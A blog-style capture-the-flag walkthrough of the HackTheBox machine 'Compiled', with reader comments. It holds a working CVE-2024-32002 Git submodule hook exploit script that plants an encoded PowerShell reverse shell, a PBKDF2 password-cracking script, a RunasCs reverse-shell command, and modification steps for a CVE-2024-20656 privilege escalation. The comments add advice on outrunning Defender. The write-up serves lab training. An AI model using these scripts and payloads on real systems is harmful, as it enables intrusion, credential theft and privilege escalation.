Key Highlights
- Compiled on HackTheBox is a unique machine that challenges beginners and experts alike.
- blog will provide a step-by-step guide tackling the challenges of Compiled on HackTheBox.
- We will cover the equipment and software requirements needed for the challenges.
- The blog will also explain how to set up a safe and effective environment for hacking.
- The step-by-step guide will include initial reconnaissance techniques, identifying vulnerabilities, developing an attack strategy, gaining foothold, and privilege escalation tactics.
- The blog will conclude with a summary of the key points covered.
Introduction
Compiled on HackTheBox is one of the many machines available on the HackTheBox platform. It is specifically designed to test your hacking skills and challenge your problem-solving abilities. This machine is unique in its complexity and requires a comprehensive understanding of various hacking techniques.
In this beginner’s guide, we will explore the Compiled machine on HackTheBox and provide a step-by-step guide to conquering its challenges. Whether you are a beginner looking to learn the basics of hacking or an experienced hacker looking for a new challenge, this guide is for you.
Understanding Compiled on HackTheBox
Compiled on HackTheBox is an active machine on the HackTheBox platform. It is a target machine that you will attempt to compromise and gain control over. The machine is designed to simulate real-world scenarios and test your skills in enumeration, exploitation, and privilege escalation.
Overview of HackTheBox Challenges
HackTheBox is a popular platform for learning and honing hacking skills. It offers a wide range of challenges that cover various aspects of hacking, including web application security, network security, cryptography, and more. Each challenge on HackTheBox is like a puzzle that you need to solve by finding vulnerabilities, exploiting them, and gaining access to the target system. In this writeup series, we will explore retired HTB machines and their solutions, with a focus on compiled binaries challenges like the mentor machine, which involves finding a command injection vulnerability and using it to gain a rev shell or root shell. To access the challenges, simply visit http://www.hackthebox.eu and create an account. These challenges often involve executing arbitrary code, such as an Nmap scan, making them a valuable learning experience for those interested in cybersecurity. Additionally, users can find helpful resources and tools in the /usr directory to aid in their exploitation process and gain access to the user flag. The contents of the file can also provide valuable information for completing these challenges.
When it comes to the Compiled machine on HackTheBox, you will need to perform enumeration to gather information about the target machine and its vulnerabilities. This will involve scanning the machine, analyzing the results, and identifying potential entry points.
Why The Compiled machine on HTB is Unique
The Compiled machine on HackTheBox is unique because it requires a deep understanding of compiled code and various hacking techniques. Unlike other machines on the platform, Compiled focuses on vulnerabilities that can be found in compiled programs, making it a challenging machine for both beginners and experienced hackers.
To conquer the Compiled machine, you will need to think outside the box and leverage your knowledge of coding, reverse engineering, and exploitation. The machine will test your ability to identify vulnerabilities, develop an attack strategy, and maintain access to the compromised system.
Preparing for Your First Challenge
Before you start tackling the challenges of Compiled on HackTheBox, it’s important to prepare yourself and set up a safe environment for hacking. This section will provide some essential tips and guidelines to help you get started.
Equipment and Software Requirements
To successfully conquer the challenges of Compiled on HackTheBox, you will need the following equipment and software:
- Kali Linux: This is the preferred operating system for ethical hacking and comes pre-loaded with various tools and software.
- Nmap: A powerful network scanning tool that will help you identify open ports and services running on the target machine.
- SSH Client: You will need an SSH client to connect to the target machine once you have gained access.
- Virtual Machine: It is recommended to set up a virtual machine using software like VirtualBox or VMware to create a safe and isolated environment for hacking.
Setting Up a Safe and Effective Environment
Setting up a safe and effective environment is crucial for successful hacking. Here are some steps to follow:
- Set up a virtual machine using software like VirtualBox or VMware. This will provide an isolated environment to perform your hacking activities.
- Install Kali Linux on the virtual machine. Kali Linux is a popular operating system for ethical hacking and comes pre-loaded with various tools and software.
- Connect to the internet using a VPN to ensure your activities are anonymous and secure.
- Familiarize yourself with the tools and software required for the challenges, such as Nmap, SSH clients, and more.
- Ensure that you have a strong understanding of Linux command-line operations and basic networking concepts.
A Beginner’s Guide to Tackling the Compiled Challenge
In this section, we will provide a step-by-step guide to help beginners tackle the challenges of Compiled on HackTheBox. This guide will break down the process into manageable steps, allowing beginners to understand and learn each stage of the hacking process.
Introduction to the Step-by-Step Guide
The step-by-step guide will take you through the initial steps of reconnaissance, gaining a foothold, identifying vulnerabilities, developing an attack strategy, gaining access, and escalating privileges. Each step will be explained in detail, providing beginners with the knowledge and skills needed to tackle the challenges of Compiled on HackTheBox.
Step 1: Initial Reconnaissance Techniques
The first step in tackling the challenges of Compiled on HackTheBox is performing initial reconnaissance. This involves gathering information about the target machine, such as its IP address, open ports, and potential vulnerabilities.
To perform reconnaissance, you can use tools like Nmap to scan the target machine and identify its open ports and services. This will give you an idea of the services running on the machine and potential entry points.
NMap
Running NMap on the machine, we can see that have only port 3000 & 5000 open for this machine:
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| <!DOCTYPE html>
| <html lang="en-US" class="theme-arc-green">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Git</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| X-Frame-Options: SAMEORIGIN
|_ Content-Length: 0
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Content-Type: text/html; charset=utf-8
| Content-Length: 5234
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
Port 3000 | Gitea
On port 3000 we have a Gitea repository storing 2 projects owned by Richard, which we can visit:

The “Compiled” project introduces a one-stop solution for compiling C++, C#, and .NET projects, which allows us to input GitHub repository URLs and get the projects compiled easily on http://localhost:5000 (if hosting locally).
ALSO READ: Beginner’s Guide To Conquering Ghost On HackTheBox
There’s a simple Flask application app.py inside:
from flask import Flask, request, render_template, redirect, url_for
import os
app = Flask(__name__)
# Configuration
REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'
@app.route('/', methods=['GET', 'POST'])
def index():
error = None
success = None
if request.method == 'POST':
repo_url = request.form['repo_url']
if # Add a sanitization to check for valid Git repository URLs.
with open(REPO_FILE_PATH, 'a') as f:
f.write(repo_url + '\n')
success = 'Your git repository is being cloned for compilation.'
else:
error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
return render_template('index.html', error=error, success=success)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
Code analysis:
- If a POST request is detected, the code fetches the ‘repo_url’ from the form data.
- The script misses the
ifcondition part for sanitizing our input URL. The comment suggests that the URL should start with “http://” and end with “.git”.
Another project called “Calculator” is in the repo., which is a simple calculator program written in C++. The program performs basic arithmetic operations such as addition, subtraction, multiplication, and division based on user input.
We don’t care how the dummy calculator works. But the repository has code explanation for the script, implying that we need to have Git installed first on a Windows machine:

It’s pointing to the Git version installed on the target machine—2.45.0, which when going through an online database of vulnerabilities, we can find that it has a critical vulnerability CVE-2024-32002.
Step 2: Identifying Vulnerabilities
Once you have gathered information about the target machine through reconnaissance, the next step is to identify vulnerabilities. This involves analyzing the results of your scans and looking for potential weaknesses in the target machine.
Some common vulnerabilities to look out for include outdated software versions, misconfigurations, or known vulnerabilities in specific applications or services. By identifying these vulnerabilities, you can plan your attack strategy accordingly.
Port 5000 | Compiled
The “Compiled” project introduced in Gitea repository is hosted on http://compiled.htb:5000. We can input a URL to compile C++, C# & .NET projects online, which is similar to an old HTB machine that suffered from the same RCE vulnerability:

CVE-2024-32002 | Richard
The recon information has a very clear implication that we can provide a Git URL (starting with “http://” and ending with “.git”) for http://ip:5000, which will then run Git locally on the target Windows machine to retrieve the resources such as – the leaked information in the code explanation:
git clone --recursive http://gitea.compiled.htb:3000/richard/Calculator.git
The Compiled program will then compile it at the backend, creating an executable for us.
Besides, with the Git version 2.45.0 installed on the Windows machine, we can test it with CVE-2024-32002 leading to RCE. The exploitation occurs when the victim clones a malicious repository recursively, which would execute hooks contained in the submodules. The vulnerability lies in the way Git handles symbolic links in repository submodules.
Git Submodule Hook
There are many public POC on the Internet for this vulnerability. As long as we figure out how the CVE works (which is the purpose of this writeup), we can manage to exploit the target in different ways. Here’s a simplified directory structure of a main Git repository (MainRepo) with a single submodule (Submodule1) I created:
/MainRepo
|-- .git/
|-- .gitmodules
|-- README.md
|-- /Submodule1
|-- .git/ (link to the submodule's repository)
|-- malicious_hook.sh
The .gitmodules file within the main repository contains metadata about the submodules, that it might look like:
[submodule "Submodule1"]
path = Submodule1
url = https://example.com/Submodule1.git
Overall, the root of the bug lies in case-insensitive filesystems treating paths like A/modules/x and a/modules/x as identical, which allows us to craft a malicious symlink within the submodule. We can name this symlink with a case variation of the submodule’s path (e.g., A/modules/x), but pointing it to the submodule’s hidden .git/ directory.

When a victim clones the malicious repository, Git creates a directory for the submodule (e.g., A/modules/x). However, the case-insensitive nature of the filesystem might cause Git to mistakenly see the symlink (a/modules/x) as a valid alternative and replace the newly created directory with it. This causes a dangerous consequence: it exposes the hidden .git/ directory to git’s execution context.
The exposed .git/ directory can contain hooks—namely the scripts that are automatically executed during various Git operations. The attacker’s malicious hook, now lurking in plain sight, is triggered by Git’s normal operations. This hook is where we can inject our RCE code.
Let’s depict a simplified diagram to summarize the concept:
[ Main Repository: MainRepo ]
|
|-- .gitmodules (lists Submodule1)
|
|-- [ Submodule: Submodule1 ]
|-- [ Symlink: a/modules/x ] --> Points to [ .git/ ] of Submodule1
|-- [ Target Directory: A/modules/x ] (Intended to be a regular directory, but replaced by symlink due to case-insensitivity)
|-- [ Hidden Directory: .git/ ]
|-- [ Malicious Hook Script ]
[ Main Repository: MainRepo ]: The central repository cloned by the victim.[ Submodule: Submodule1 ]- Contains a critical symbolic link that exploits filesystem case-insensitivity.
[ Symlink: a/modules/x ]: Crafted to misuse the case-insensitivity, linking to the.git/directory which contains executable hooks.[ Target Directory: A/modules/x ]: Normally intended to be a directory for submodule files, but due to the symlink trick, it becomes a link to the.git/directory.[ Hidden Directory: .git/ ]: Contains the Git configuration and hook scripts that can now be maliciously triggered due to the symlink redirecting operations to this directory.
A POC script can be found on Github.
Step 3: Developing an Attack Strategy
With a clear understanding of the vulnerabilities present in the target machine, it’s time to develop an attack strategy. This involves selecting the appropriate tools and techniques to exploit the identified vulnerabilities and gain access to the machine.
Depending on the specific vulnerabilities you have identified, you may need to use techniques such as reverse shells, payload development, or exploiting specific weaknesses in the target machine’s configuration.
Creating Malicious Repos
Registering a new Gitea account (which we can on http://gitea.compiled.htb:3000) and select New Repository to create 2 new hook repositories “hook” & “captain”:


Then setting up a Git repository that includes submodules. The key to exploiting this CVE is to craft submodules that contain malicious hooks.
Hooks are scripts in Git that run on certain actions. In this case,
post-checkoutorpost-mergehooks within submodules could be used.
We can modify the POC after setting up the malicious repository on Gitea:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# to avoid the warning message
git config --global init.defaultBranch main
# Pre-created remote Gitea hook repository
hook_repo_path="http://gitea.compiled.htb:3000/thecybersecguru/hook.git"
# Initialize the hook repository
git clone "$hook_repo_path"
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8 ...
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
# Push the changes back to the Gitea repository
git commit -m "post-checkout"
git push
# Leave hook repo
cd ..
# Pre-created remote Gitea captain repository
captain_repo_path="http://gitea.compiled.htb:3000/thecybersecguru/captain.git"
# Initialize the captain repository & add submodule pointing to hook
git clone "$captain_repo_path"
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
# Commit and push the changes back to the Gitea repository
git commit -m "add-symlink"
git push
# Leave captain repo
cd ..
- We can register an account on Gitea remotely to create malicious repositories, so we can save our time rather than configuring account information on our kali machine.
- We need two repositories to complete the attack, namely the
hookandcaptainin the POC. Since we choose not to push repositories from local machine, we need to prepare them on the Gitea web application. Then we can usegit cloneto download the Git files and complete those push updates.
Running the shell script and provide our account credentials in the prompt, we will create and push the malicious repo’s on Gitea for the target to access later. After that, we are free to verify the result on Gitea:

Trigger Submodule RCE
Now, if we want to trigger the RCE through the malicious hook commands, we can just let the victim clone the “captain” repo like this:
git clone --recursive http://gitea.compiled.htb:3000/thecybersecguru/captain.git
In our case, we don’t need to phish anyone to clone our repo. Because when we provide the repo URL http://gitea.compiled.htb:3000/thecybersecguru/captain.git to port 5000, it automatically runs and clones the captain repo. Therefore, set up the listener which we defined in the reverse shell payload, then feed the URL to the compilation program:

After waiting for a few seconds, we have a reverse shell as user Richard:

MSF console:

PBKDF2 | Emily
No AV on the machine, so we run Winpeas.exe via which we know our next target will be user Emily, and Richard is likely a web admin for the Gitea server:

Going into “C:\Program Files\Gitea” to do some enumeration, we can find a database file under the “\data” folder:

Downloading and reading it locally, there’re hashes for all Gitea users stored under the “user” table:

From the provided data, each hash string follows the format:
[pbkdf2][number of iterations][key_length]
The format in our case pbkdf2$50000$50 tells us that the PBKDF2 algorithm with 50,000 iterations was used. The $50 is the length of the hash output in bytes, not the salt. PBKDF2 is a simple cryptographic key derivation function, which is resistant to dictionary attacks and rainbow table attacks.
We can use Hashcat to crack PBKDF2-HMAC-SHA256 (-m 10900). Format the string as follows:
sha256:<iterations>:<base64_salt>:<base64_hash>
- Use
:as separator. - Base64 encode the salt and password before cracking.
However, it turns out it takes too long to crack the hashes, for a CTF. So I decided to study deeper for the PBKDF2 encryption.
Except the hash, salt, iterations-count we got, we also have the derived-key-len as 50 from the database. The PBKDF2 calculation function takes several input parameters: hash function for the HMAC, the password (bytes sequence), the salt (bytes sequence), iterations count and the output key length (number of bytes for the derived key):
key = pbkdf2(password, salt, iterations-count, hash-function, derived-key-len)
password: Array of bytes / string for the plain-text password.salt: Securely-generated random bytes (minimum 64 bits, 128 bits is recommended)iterations-count: e.g. 1024 iterationshash-function: For calculating HMAC, e.g.SHA256derived-key-len: For the output, e.g. 32 bytes (256 bits). The output data is the derived key of requested length (e.g. 256 bits).
Since I did not find a way to provide the derive_key_len parameter for Hashcat, we can write a python script using hashlib library to crack the password faster, referring to the PBKDF2 python template introduced in Crytobook:
import hashlib
import binascii
from pwn import log
# Parameters from gitea.db
salt = binascii.unhexlify('227d873cca89103cd83a▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒') # 16 bytes
key = '97907280dc24fe517c43475bd218bfad56c25d4d11037d▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒'
dklen = 50
iterations = 50000
def hash(password, salt, iterations, dklen):
hashValue = hashlib.pbkdf2_hmac(
hash_name='sha256',
password=password,
salt=salt,
iterations=iterations,
dklen=dklen,
)
return hashValue
# Crack
dict = '/usr/share/wordlists/rockyou.txt'
bar = log.progress('Cracking PBKDF2')
with open(dict, 'r', encoding='utf-8') as f:
for line in f:
password = line.strip().encode('utf-8')
hashValue = hash(password, salt, iterations, dklen)
target = binascii.unhexlify(key)
# log.info(f'Our target is: {target}')
bar.status(f'Trying: {password}, hash: {hashValue}')
if hashValue == target:
bar.success(f'Found password: {password}!')
break
bar.failure('Hash is not crackable.')
The hash of Administrator is uncrackable, but Emily‘s will be cracked in one second:

With the cracked password of Emily, we can run Evil-winrm or use RunAsCs to lateral to another account:
.\RunasCs.exe emily 1▒▒▒▒▒▒▒▒▒▒▒ powershell.exe -r 10.10.16.3:4446
From here, we can get the user flag:

Step 4: Privilege Escalation Tactics
Privilege escalation is the final step in conquering the challenges of Compiled on HackTheBox. This involves gaining root access or obtaining the root flag, which signifies complete control over the target machine.
Privilege escalation tactics may include exploiting misconfigurations, vulnerabilities, or weak user account privileges to gain higher-level access. By successfully escalating privileges, you will have completed the challenges of Compiled on HackTheBox.
ALSO READ: Linpeas: Mastering Linux Privilege Escalation
CVE-2024-20656 | SYSTEM
When we ran Winpeas, I noticed that the machine is installed with Visual Studio.

VS configures NFS Exports Files, which pertains to the configuration and permission settings related to the Network File System (NFS) on Windows systems. NFS is a protocol that allows us to access files over a network in a manner similar to how we access local storage, and it’s commonly used to share files between UNIX/Linux and Windows systems.
This means it would have a great chance to lead to unauthorized access or privilege escalation. This reminds us of the CVE-2024-20656 which is a local privilege escalation vulnerability found in the VSStandardCollectorService150 service of Microsoft Visual Studio. It allows an attacker to escalate privileges on a Windows system due to the way the service handles file operations and directory permissions.
The vulnerability arises because the VSStandardCollectorService150 service, which is part of the Visual Studio diagnostics tools, creates directories and files within the “C:\Windows\Temp” directory with insufficiently restrictive permissions. Specifically, when a diagnostic session is started, the service creates directories and files in a user-specified location (/scratchLocation), and these files are initially created with default restrictive permissions but later moved and have their Discretionary Access Control Lists (DACLs) reset in a less restrictive manner—to redirect permission changes to arbitrary files on the system.
There’s an exploit script on Github, wich we don’t have to construct such a complicate attack chain by ourselves. But we need to make certain modification on the project, rewriting parts of the script and then compile it to an executable.

Therefore, it’s important to get the exploitation process clear:
- Diagnostic Session Creation: Attacker initiates a diagnostic session using the
VSDiagnostics.exetool with thestartcommand, specifying a scratch location (/scratchLocation) that the attacker controls. - Junction Point Attack: Attacker creates a junction point in the specified scratch location, redirecting it to another directory we control. This allows the attacker to manipulate where files are moved and how their permissions are set.
- DACL Reset Manipulation: The service then resets the DACLs on the files in the directory pointed to by the junction, which can include directories like
C:\ProgramData. This DACL reset can be exploited to grant the attacker full control over critical files or directories. - Privilege Escalation: By redirecting the file operations and DACL resets to critical system files or directories, the attacker can gain elevated privileges. For example, they can change the permissions on system DLL files and load them into privileged services, thereby executing code with higher privileges.
Thus, after opening Expl.sln with Visual Studio on our machine, we need to modify two parts of the POC. First, the cmd variable in main.cpp should be set to the path of VSDiagnostics.exe (It was VS 2022 in the POC, while our target has an older version 2019 installed):

Secondly, Modifying the cb1 Function. The cb1 function is responsible for copying a file once the file move operation is successful. We can modify this function to copy our reverse shell executable instead of the original cmd.exe:

Now, we need to prepare our reverse shell trojan in this specific directory. Using msfvenom to generate a reverse shell payload and uploading it to the target folder.
Finally, compiling/building the modified main.cpp file with release mode to create the exploit executable:

Running the compiled Expl.exe as any lower-privileged user, we will have a session as NT AUTHORITY\SYSTEM:


Taking the root flag by hash dump of root user and logging in as root:

Step 5: Documenting it all
Documenting your progress and reporting vulnerabilities is also crucial. It helps you keep track of your findings and allows you to share your knowledge with others. Reporting vulnerabilities is important for the security community as it allows developers to fix issues and improve the overall security of their systems.
Common Pitfalls and How to Avoid Them
When attempting to conquer the Compiled machine on HackTheBox, there are common pitfalls that beginners should be aware of and avoid. These pitfalls include overlooking simple vulnerabilities and underestimating the importance of documentation.
Overlooking Simple Vulnerabilities
One common pitfall that beginners may encounter when trying to conquer the Compiled machine is overlooking simple vulnerabilities. These vulnerabilities can often be easily exploited with further enumeration and a quick Google search. It is important to thoroughly investigate the target machine and not overlook any potential weaknesses.
Underestimating the Importance of Documentation
Another common pitfall is underestimating the importance of documentation. Keeping detailed notes and documenting your progress throughout the conquest of the Compiled machine is crucial. Documentation helps you keep track of your findings, remember important steps, and share your knowledge with others. It also allows you to report vulnerabilities and contribute to the security community through directories and sub-directories.
Conclusion
Start your journey into the world of cybersecurity with confidence! Understanding the nuances of Compiled on HackTheBox can be your gateway to mastering penetration testing. Equip yourself with the necessary tools, set up a secure environment, and follow the step-by-step guide to conquer challenges effectively. Avoid common pitfalls by paying attention to details and documentation. Curiosity and persistence are key to success in this field. If you’re ready to dive in, subscribe for more insights and updates to stay ahead in your cybersecurity endeavors. Happy hacking!
Frequently Asked Questions
What are the best tools for beginners for penetration testing?
For beginners in penetration testing, some of the best tools to start with are Kali Linux, Nmap, Netcat, and SSH. Kali Linux is a popular operating system specifically designed for penetration testing and comes pre-loaded with various tools and scripts. Nmap is a network scanning tool that helps identify open ports and services on a target machine. Netcat is a versatile networking utility that allows for connecting to remote systems. SSH (Secure Shell) is a secure protocol for remote access and management of systems.
How long does it take to conquer the Compiled machine on HackTheBox?
The time it takes to conquer the Compiled machine on HackTheBox can vary depending on the individual’s skill level and familiarity with the platform. For beginners, it may take several hours or even days to successfully conquer the machine. However, with practice and experience, the time required can significantly decrease.
What is Compiled on HackTheBox and why is it important for beginners?
Compiled is a machine on the HackTheBox platform that is specifically designed for beginners in penetration testing. It provides a learning opportunity for beginners to practice their skills and gain hands-on experience with real-world scenarios. Conquering the Compiled machine helps beginners understand the process of identifying vulnerabilities, exploiting them, and covering their tracks.









You are such a godsent bro! You didn’t start season 6 writeups yet?!!
Started now. Was caught up in some work.
Could you please elaborate on the CVE-2024-20656 section you’ve written?
Sure!
love your site bro! u got a discord server or YT?
Thanks! Na bro. Planning to set up one
Hi, very good resolution, I am stuck and need help. When running the compiled file on the victim machine, I get the following:
The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.
[+] Junction \\?\C:\b1eae048-77b9-4fd4-a90b-857df2c20e51 -> \??\C:\bc7707fd-f5d3-4e86-902d-e0249a9dd071 created!
[+] Symlink Global\GLOBALROOT\RPC Control\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata created!
[+] Junction \\?\C:\b1eae048-77b9-4fd4-a90b-857df2c20e51 -> \RPC Control created!
[+] Junction \\?\C:\b1eae048-77b9-4fd4-a90b-857df2c20e51 -> \??\C:\bc7707fd-f5d3-4e86-902d-e0249a9dd071 created!
[+] Symlink Global\GLOBALROOT\RPC Control\Report.0297E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata\Microsoft created!
[+] Junction \\?\C:\b1eae048-77b9-4fd4-a90b-857df2c20e51 -> \RPC Control created!
[+] Persmissions successfully reseted!
[*] Starting WMI installer.
[*] Command to execute: C:\windows\system32\msiexec.exe /fa C:\windows\installer\8ad86.msi
There it stays and I can’t get shell as NTAuthoritySystem.
Translated with DeepL.com (free version)
Hello there. Seems like defender is deleting the file before it can run. You need to do it faster, before defender can take action. Then it’ll disable defender.
Thanks for the information, I can only run it once, maybe something happens to the machine internally, I have to reboot it to start again. always the same result.
Try resetting the machine and try again
hello sir, can you please tell me how did you get the meterpreter shell ??
Please help me with the meterpreter shell 🙏 PLEASE
Please can you help me with meterpreter shell? Can you explain it a bit please
please tell me how did you get the meterpreter shell ??
How to get msfconsole shell?
infelizmente tenho passado horas a tentar executar o EXPL.EXE E NAO Consigo de jeito nenhum quando executo o exe não dá erro não faz nada nao me dá a ligação shell tenho tudo igual menos o diretório do shell que está no desktop mas no expl.sln mete esse local